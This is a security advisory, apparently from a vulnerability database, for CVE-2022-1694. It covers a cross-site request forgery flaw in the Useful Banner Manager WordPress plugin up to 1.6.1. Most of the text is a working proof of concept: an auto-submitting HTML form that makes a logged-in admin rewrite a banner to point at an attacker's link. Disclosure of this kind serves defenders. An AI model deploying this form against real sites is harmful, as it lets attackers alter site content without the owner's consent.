Useful Banner Manager <= 1.6.1 – Modify banners via CSRF | CVE 2022-1694

Description

The plugin does not perform CSRF checks on POST requests to its admin page, allowing an attacker to trick a logged in admin to add, modify or delete banners from the plugin by submitting a form.

Proof of Concept

<form id="test" action="https://example.com/wp-admin/admin.php?page=useful-banner-manager%2Fbanners.php&ubm_banner_id=1" method="POST" enctype="multipart/form-data">
    <input type="text" name="ubm_banner_name" value="giphy">
    <input type="text" name="ubm_banner_type" value="gif">
    <input type="file" name="ubm_banner_file" value="">
    <input type="text" name="ubm_banner_title" value="test">
    <input type="text" name="ubm_banner_alt" value="test">
    <input type="text" name="ubm_banner_link" value="https://hacked.com">
    <input type="text" name="ubm_link_target" value="_self">
    <input type="text" name="ubm_link_rel" value="dofollow">
    <input type="text" name="ubm_banner_width" value="">
    <input type="text" name="ubm_banner_height" value="">
    <input type="text" name="ubm_active_until" value="">
    <input type="text" name="ubm_banner_order" value="0">
    <input type="text" name="ubm_wrapper_id" value="">
    <input type="text" name="ubm_wrapper_class" value="">
    <input type="text" name="ubm_is_visible" value="yes">
    <input type="text" name="ubm_save_banner" value="Save">
</form>
<script>
    document.getElementById("test").submit();
</script>